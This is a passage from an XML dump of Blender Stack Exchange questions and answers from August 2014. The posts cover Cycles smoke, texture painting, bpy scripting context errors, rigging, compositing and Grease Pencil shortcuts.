Tags="&lt;python&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-08-26T03:44:36.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="15299" PostTypeId="1" CreationDate="2014-08-25T20:34:59.780" Score="5" ViewCount="6291" Body="&lt;p&gt;It DOES create smoke but the smoke is pitch black &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have tried everything, searched everywhere but cannot find a solution! i need white smoke&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone know of a solution or have had the same problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered in Cycles in 2.71.5 using CPU &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/zsjWz4p.png&quot; alt=&quot;rendering&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5767" LastActivityDate="2014-08-25T21:11:13.017" Title="Smoke coming out black" Tags="&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-08-25T22:34:30.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="15300" PostTypeId="2" ParentId="15299" CreationDate="2014-08-25T20:42:28.153" Score="3" Body="&lt;p&gt;Make sure you have light in your scene, and that the number of volume bounces is greater than 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m7zNE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try reducing the amount of absorption or eliminating the absorption entirely. Density*40 will pretty much make the absorption node give solid black unless you have &lt;em&gt;very&lt;/em&gt; thin smoke to begin with.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-25T21:11:13.017" LastActivityDate="2014-08-25T21:11:13.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15301" PostTypeId="1" AcceptedAnswerId="15306" CreationDate="2014-08-25T20:53:09.287" Score="8" ViewCount="64338" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CIelk.png&quot; alt=&quot;enter image description here&quot;&gt;I am new to blender and I could use some help, i watched a lot of tutorials but I still can't paint an object, I click on the object but it doesn't add color. I enter on texture paint and all the stuff but when I try to add color it simply doesn't. What can i do? &lt;/p&gt;&#xA;" OwnerUserId="5768" LastEditorUserId="5768" LastEditDate="2014-08-25T21:27:00.373" LastActivityDate="2020-05-14T16:38:04.210" Title="Can't paint texture" Tags="&lt;texture-painting&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15302" PostTypeId="2" ParentId="15293" CreationDate="2014-08-25T20:59:24.803" Score="2" Body="&lt;p&gt;I think found the reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the last tiles of the render finish blender suddenly needs a lot of RAM. More than I expected for the image buffer. Maybe because it uses floats and not bytes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During my earlier tries I had a lot of chrome and firefox tabs open (browsers take so much RAM, incredible! :)) and only 2GB of the RAM were free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I rendered again, this time I closed most other applications before the rendering finished. With 5GB of free RAM it worked! :)&lt;/p&gt;&#xA;" OwnerUserId="1027" LastActivityDate="2014-08-25T20:59:24.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15303" PostTypeId="1" AcceptedAnswerId="15305" CreationDate="2014-08-25T21:03:51.823" Score="1" ViewCount="1639" Body="&lt;p&gt;I'm trying to create some sushi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got this but I don't understand the UVWrapping as I need to almost decal some ingredients onto the rice texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eAmd5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I went to edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;) then selected the top and bottom of the sushi... I added a texture in that texture tab on the right, and then selected that texture from the UV editor... The rice appeared and I positioned the circles accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then hit &lt;kbd&gt;A&lt;/kbd&gt; to select the entire sushi roll and then de-selected the top and bottom... In the UV editor, I then applied my sushi wrap texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what? How do I go and apply a texture of sushi ingredients on top of this roll?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hsRlG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5385" LastEditorUserId="5385" LastEditDate="2014-08-25T21:41:42.920" LastActivityDate="2014-08-25T21:41:42.920" Title="How to add textures on top of textures?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15304" PostTypeId="1" CreationDate="2014-08-25T21:10:04.600" Score="1" ViewCount="28" Body="&lt;p&gt;I tried to add &lt;code&gt;bpy.operator.render.render()&lt;/code&gt; to a menu (e.g. invoked via &lt;kbd&gt;Q&lt;/kbd&gt; key) for quick access, but the rendering operation executed via the menu runs without having the rendering image shown and without showing the rendering progress and without the ability to cancel (escape) the rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the same operator is placed within a panel the rendering operation works just as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution to having the render operation to work as expected within a pop-up menu?&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="1363" LastEditDate="2014-08-26T01:57:19.947" LastActivityDate="2014-08-26T01:57:19.947" Title="Adding the &quot;render&quot; operator to a menu (addon)" Tags="&lt;scripting&gt;&lt;add-on&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-08-26T06:47:19.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="15305" PostTypeId="2" ParentId="15303" CreationDate="2014-08-25T21:20:46.013" Score="1" Body="&lt;p&gt;After adding a material, add two textures. The texture(s) lower on the list will be applied over the previous texture(s):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zyu6l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-25T21:20:46.013" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15306" PostTypeId="2" ParentId="15301" CreationDate="2014-08-25T21:34:31.967" Score="8" Body="&lt;p&gt;You must create an image first. Click the &lt;em&gt;new&lt;/em&gt; button at the bottom of the image editor to create a new image.&lt;/p&gt;&#xA;&lt;p&gt;Before you can paint you will also have to assign that image to the object.&lt;/p&gt;&#xA;&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&lt;p&gt;In BI select the image in the image editor while in edit mode, so that the UV map is displayed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MoVj8.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;In Cycles add a texture node to the object's material, and set it to the image you want to paint on. The selected texture node defines which texture node to use:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jxljZ.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-25T21:41:00.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15307" PostTypeId="1" AcceptedAnswerId="15315" CreationDate="2014-08-25T21:48:55.610" Score="3" ViewCount="1745" Body="&lt;p&gt;I'm trying to write a script to create some objects along and around a curve object, set up for a generative modeling thing, to make randomized &quot;tentacles&quot; out of paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways! I'm approaching this by creating an empty at the root of any selected curve, putting a &quot;follow path&quot; constraint on the empty, targeting the curve, animating the path, and then creating objects relative to the empty's location and orientation on different frames, staggering some objects like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've got so far looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for curve in operable:&#xA;    print(&quot;Doing curve&quot;)&#xA;    rootLoc = curve.data.splines[0].points[0].co&#xA;    emptyLoc = (curve.matrix_world * rootLoc)&#xA;    bpy.ops.object.empty_add(type='ARROWS')&#xA;    bpy.context.object.name = &quot;empty_&quot; + curve.name&#xA;    bpy.ops.object.constraint_add(type='FOLLOW_PATH')&#xA;    bpy.context.object.constraints['Follow Path'].target = curve&#xA;    old_area = bpy.context.area.type&#xA;    bpy.context.area.type = 'PROPERTIES'&#xA;    bpy.context.space_data.context = 'CONSTRAINT'&#xA;    bpy.ops.constraint.followpath_path_animate(constraint='Follow Path', length=frame_steps)&#xA;    bpy.context.object.constraints['Follow Path'].use_curve_follow = True&#xA;    bpy.context.area.type = old_area&#xA;    bpy.data.objects['empty_' + curve.name].location = emptyLoc.xyz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, in the &quot;followpath_path_animate&quot; line, I get an error from that function's &quot;poll()&quot; saying only that &quot;the context is incorrect&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one, if someone could tell me what context I need to be in and how to get there, that would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would also be great if someone could explain to me how in the world I'm supposed to figure out what context to be in to run these functions! You'd think this would be at least vaguely documented...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the code related to this function in the source code, found that this is the poll() function used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static int edit_constraint_poll_generic(bContext *C, StructRNA *rna_type)&#xA;{&#xA;    PointerRNA ptr = CTX_data_pointer_get_type(C, &quot;constraint&quot;, rna_type);&#xA;    Object *ob = (ptr.id.data) ? ptr.id.data : ED_object_active_context(C);&#xA;&#xA;    if (!ptr.data) {&#xA;        CTX_wm_operator_poll_msg_set(C, &quot;Context missing 'constraint'&quot;);&#xA;        return 0;&#xA;    }&#xA;&#xA;    if (!ob) {&#xA;        CTX_wm_operator_poll_msg_set(C, &quot;Context missing active object&quot;);&#xA;        return 0;&#xA;    }&#xA;&#xA;    if (ob-&amp;gt;id.lib || (ptr.id.data &amp;amp;&amp;amp; ((ID *)ptr.id.data)-&amp;gt;lib)) {&#xA;        CTX_wm_operator_poll_msg_set(C, &quot;Cannot edit library data&quot;);&#xA;        return 0;&#xA;    }&#xA;&#xA;    return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is pretty cryptic to me, seems to check whether the active context is of type &quot;constraint&quot;, but I thought I'd done that. Not sure how to resolve that.&lt;/p&gt;&#xA;" OwnerUserId="5770" LastEditorUserId="2217" LastEditDate="2014-10-02T23:53:36.027" LastActivityDate="2016-02-16T16:06:04.933" Title="Scripting -- Can't figure out how to use correct contexts?" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;constraints&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15309" PostTypeId="1" AcceptedAnswerId="15310" CreationDate="2014-08-25T22:17:15.923" Score="3" ViewCount="597" Body="&lt;p&gt;I'm trying to animate my character model using Rigify, but moving one foot will always bring the other foot with it.  I was following &lt;a href=&quot;https://www.youtube.com/watch?v=h1FBVsbJHMs&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Blender project file can be found &lt;a href=&quot;http://pasteall.org/blend/31193&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  As you can see in the project, the feet are weight painted, and I set the FK/IK to 1.0, as shown in the video.  What am I missing here?&lt;/p&gt;&#xA;" OwnerUserId="4776" LastActivityDate="2014-08-25T22:31:27.863" Title="Weight painting seems to be ignored on my rig" Tags="&lt;animation&gt;&lt;weight-painting&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15310" PostTypeId="2" ParentId="15309" CreationDate="2014-08-25T22:31:27.863" Score="4" Body="&lt;p&gt;Found 2 issues here :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, you forgot to &lt;strong&gt;apply the mirror&lt;/strong&gt; modifier.&lt;/li&gt;&#xA;&lt;li&gt;Second, you can see that it is not the &quot;foot&quot; weight that influences the other side, but the &quot;toe&quot; weight (and this is a side-effect of the mirror modifier I guess) :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rgEjO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So make sure to &lt;strong&gt;apply the mirror modifier&lt;/strong&gt; before parenting the armature, then try again. You'll be able to tweak the weight painting more efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a side note, you'd better to pull up the Armature modifier before the Subsurf modifier (you'll get better performance while moving the rig, so the animation will be less painful;)&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-08-25T22:31:27.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15312" PostTypeId="1" AcceptedAnswerId="15314" CreationDate="2014-08-26T05:33:06.350" Score="5" ViewCount="1318" Body="&lt;p&gt;I've linked to a &lt;a href=&quot;https://www.dropbox.com/s/yjl2j5wg4eo3wbh/Mat_Tex.blend?dl=0&quot;&gt;blend file&lt;/a&gt; containing bits of two objects, both with a green material, and both (at least as far as I can tell) with the same texture. In fact the object on the left (named &quot;water&quot;) was created from the object on the right (named &quot;terrain&quot;) after the material was created. They look the same in solid shading. But in textured shading, they look different. The water still shows the green material, but the terrain does not. I obviously did something to the terrain object when I was paying insufficient attention, but I cannot figure out what would cause the same material to look different. Help, please? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, the rendering agent of choice here is Blender internal. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-08-26T06:33:44.710" Title="Same Material, different results?" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15313" PostTypeId="1" AcceptedAnswerId="15366" CreationDate="2014-08-26T05:42:24.777" Score="0" ViewCount="651" Body="&lt;p&gt;I am working on a model and facing some problems. The problem is that some of the triangles have different color and i want to make it same color as the whole model is&lt;img src=&quot;https://i.stack.imgur.com/wSS4N.png&quot; alt=&quot;enter image description here&quot;&gt;. In the image you will see that some of triangles are in light red color and the remaining model is in dark red color, so how can i change that light red color to dark red color, one material is applied on that mesh. &lt;/p&gt;&#xA;" OwnerUserId="5775" LastEditorUserId="3401" LastEditDate="2014-08-26T17:45:22.367" LastActivityDate="2014-08-28T11:34:08.740" Title="How to set color on triangle of a mesh" Tags="&lt;mesh&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="2" CommentCount="2" ClosedDate="2014-08-28T18:39:02.487" ContentLicense="CC BY-SA 3.0" />
  <row Id="15314" PostTypeId="2" ParentId="15312" CreationDate="2014-08-26T06:24:17.750" Score="5" Body="&lt;p&gt;Found it. The terrain object has a UV map. This causes the diffuse color to be overridden in multitexture view, as the texture under the UV map is displayed instead. Apparently a blank texture appears as white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This won't affect the render, but if you want the texture display to be consistent, remove th UV map in &lt;em&gt;Properties editor &gt; Object Data &gt; UV maps&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-26T06:33:44.710" LastActivityDate="2014-08-26T06:33:44.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15315" PostTypeId="2" ParentId="15307" CreationDate="2014-08-26T08:36:36.353" Score="4" Body="&lt;p&gt;With the source snippet you posted these two lines are the key -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PointerRNA ptr = CTX_data_pointer_get_type(C, &quot;constraint&quot;, rna_type);&#xA;Object *ob = (ptr.id.data) ? ptr.id.data : ED_object_active_context(C);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first line gets the memory location of the constraint data, the second gets the location of the active object. If either of these are not available (like no active object) they will be set to zero, in which case the error will be given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to get around context errors is to not rely on them, instead of using operators you can create items directly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# create the empty&#xA;newempty = bpy.data.objects.new('empty_'+curve.name, None)&#xA;newempty.empty_draw_type = 'ARROWS'&#xA;# link it to the current scene&#xA;bpy.context.scene.objects.link(newempty)&#xA;# add a constraint to it&#xA;emptyconstraint = newempty.constraints.new('FOLLOW_PATH')&#xA;emptyconstraint.target = curve&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above example there are no operators used so you won't get context errors, it uses solid links to the items created to easily alter any part of them. It also doesn't alter the active object, if you want the new object to be selected you need to do that as well.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-26T08:36:36.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15316" PostTypeId="1" CreationDate="2014-08-26T09:05:18.163" Score="2" ViewCount="1000" Body="&lt;p&gt;I am new to Blender and I could really use some help. The idea was to record a movement and animate a 3d character in Blender, but the problem is I didn't get a bvh file or any other mocap data file and instead I got two videos (we used only two cameras) of marker movement and two matlab programs to get the coordinates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after I clicked on every marker in every frame of those videos I used the other matlab program to make a 3D reconstruction of markers. Now I have 3D position of those markers in every frame, but I don't know how to use them in blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matlab coordinate system is different from the one in Blender and even when I rotate the coordinates for 270 degrees around x to get the same one I still have a problem because the markers are not positioned in the center as the 3d model in blender is. So basically the question is is there a way to use those coordinates so that the 3d model could still look like a mocap? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to write coordinates for parent and children bones or do I subtract the values from one another? &#xA;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="5776" LastEditorUserId="29" LastEditDate="2014-08-26T09:41:43.783" LastActivityDate="2014-08-26T09:41:43.783" Title="Using matlab coordinates in Blender" Tags="&lt;animation&gt;&lt;transforms&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15318" PostTypeId="1" CreationDate="2014-08-26T15:33:33.807" Score="1" ViewCount="282" Body="&lt;p&gt;I have an image with an alpha channel that I am using for a texture.  Right now I just use its alpha channel (that's the only thing checked in the influence panel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to give it a &quot;halo&quot;/border.  Consider the following image where I take the outline of japan (from &lt;a href=&quot;http://en.wikipedia.org/wiki/Template:Japan_football_clubs_map_2011&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Template:Japan_football_clubs_map_2011&lt;/a&gt;), and give it a black border (this uses an intermediate image from the compositor of a separate scene, very awkward):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GuA1Y.png&quot; alt=&quot;have a medal, Japan&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first instinct is to create a second plane underneath with a second version of the texture where I dilate (add pixels around the edge, ⟏ for those of you familiar with Image Algebra) the alpha channel for a dark material.  Unfortunately, I can't seem to find a node which performs dilation in the texture Node Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I welcome suggestions of how to achieve this effect using blender.  (I am using BI, but if you want to answer with a screenshot of a node setup for Cycles I won't complain).&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-08-26T20:07:32.910" LastActivityDate="2014-08-27T05:40:49.337" Title="How do I give a texture a dark halo?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15319" PostTypeId="2" ParentId="15313" CreationDate="2014-08-26T16:23:39.507" Score="0" Body="&lt;p&gt;What seems to be different colors on some faces than on others is a function of the direction of the normals of the faces, and the location and energy level of the lamp(s). Faces where the normals of the faces are oriented so that you are looking at them head on in line with, or close to in line with the location of a lamp in the scene will have a more intense hue than faces that are oriented so that you seem to be looking at them on an oblique angle, or at a point that is distant from the line between the location of the lamp and the part of the image you are viewing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a more uniform color on the material, you may need to either change the lamps, add additional lamps to the scene, or both. Depending upon the scene, you might want to change the default lamp to type &quot;sun&quot;, change it's elevation (&quot;z&quot; axis value) to something larger, perhaps 500 or 1000 Blender units, and change the energy to a higher value, too. Start, perhaps, with and energy of 250. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-08-26T16:30:17.457" LastActivityDate="2014-08-26T16:30:17.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15321" PostTypeId="1" AcceptedAnswerId="15324" CreationDate="2014-08-26T17:23:31.727" Score="0" ViewCount="2594" Body="&lt;p&gt;This is maybe a funny question, but when I color a reflective material, I just change the color of the &quot;glossy&quot; shader, but when it comes to darker colors, I'm lost, because the gradient from dark to light changes the reflection amount too. In the real world full reflections have no colors, but is it possible to color a perfect reflective material in blender regardless of the color surroundings (non realistic soloring)?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-08-26T18:06:55.823" LastActivityDate="2014-08-26T21:26:36.703" Title="How to color a perfect reflective material in cycles?" Tags="&lt;rendering&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15324" PostTypeId="2" ParentId="15321" CreationDate="2014-08-26T20:58:26.527" Score="0" Body="&lt;p&gt;If I understand correctly, you want something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nXfZz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nXfZz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way the camera will see the object with the dark color, but other objects will &quot;see&quot; the object with a bright color, reflecting more light:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qTO3q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-26T21:26:36.703" LastActivityDate="2014-08-26T21:26:36.703" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15325" PostTypeId="1" CreationDate="2014-08-26T21:51:13.583" Score="1" ViewCount="744" Body="&lt;p&gt;Is there a way to display the geometry of the Subdivision surface modifier together with the original geometry in solid view in edit mode? Lets assume that the image below is a screenshot from that view. It is pretty usefull when modeling with the subdivision surface modifier, so that you can always see how the geometry flow is going. Is something like that possible to achieve (I couldn't make the grid floor in the image, but assume it is there.)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KM6mW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like that is possible in 3DS Max.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 3DS Max - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/kmBG3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-08-26T23:11:48.637" LastActivityDate="2014-08-26T23:11:48.637" Title="Is there a way to display the geometry of the Subd. surf. modifier together with the original geometry?" Tags="&lt;3d-view&gt;&lt;editing&gt;&lt;wireframe&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15328" PostTypeId="1" CreationDate="2014-08-27T00:48:47.673" Score="2" ViewCount="374" Body="&lt;p&gt;I modified and existing rig and I want the left side to mirror the changes I did on the right side. Is there a way to do this without deleting half the character? &lt;/p&gt;&#xA;" OwnerUserId="5773" LastActivityDate="2014-08-27T17:52:44.957" Title="Mirror without deleting or adding new material" Tags="&lt;mesh&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15329" PostTypeId="2" ParentId="15318" CreationDate="2014-08-27T05:15:54.897" Score="3" Body="&lt;p&gt;Use a Dilate/Erode node on the alpha channel in the &lt;strong&gt;compositor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GkS4p.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AwH1z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with background the node setup would be something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/w2aeW.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JXBxi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-08-27T05:40:49.337" LastActivityDate="2014-08-27T05:40:49.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15330" PostTypeId="1" CreationDate="2014-08-27T07:50:28.260" Score="6" ViewCount="15646" Body="&lt;p&gt;I've just begun experimenting with the Grease pencil function. I find it a bit inconvenient that if there are default hotkeys defined, I can't find them. I'd like to be able to press a key or two, and be able to draw, press a different key combination, and be able to erase what I've drawn, and still a different key combinations, and be able to draw in polyline mode.  Does anyone have any key assignments for the grease pencil that they'd care to share with the me and the community?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to be able to redefine the cursor for the Grease pencil's erase mode. As it is now, the erase cursor looks almost exactly like the circle select tool cursor: a white circle with a black dot. If we nominated a different color for the erase cursor in grease pencil, what color should we propose?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="599" LastEditDate="2014-08-28T22:41:04.407" LastActivityDate="2017-05-17T13:38:36.653" Title="Drawing Using Grease Pencil Hotkeys" Tags="&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15331" PostTypeId="2" ParentId="15330" CreationDate="2014-08-27T07:53:21.733" Score="12" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Hold &lt;kbd&gt;D&lt;/kbd&gt; and press &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt; to draw&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hold &lt;kbd&gt;D&lt;/kbd&gt; and press &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; to erase&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hold &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; and press &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt; to draw a line&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hold &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; and press &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; to draw a poly line&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The shortcuts are in the tooltips:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oi7RP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that the &lt;em&gt;Circle select&lt;/em&gt; and &lt;em&gt;Grease pencil erase&lt;/em&gt; circles are already subtly different:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Circle select Grease pencil&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xj3J5.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/lDz3D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-27T08:00:25.917" LastActivityDate="2014-08-27T08:00:25.917" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
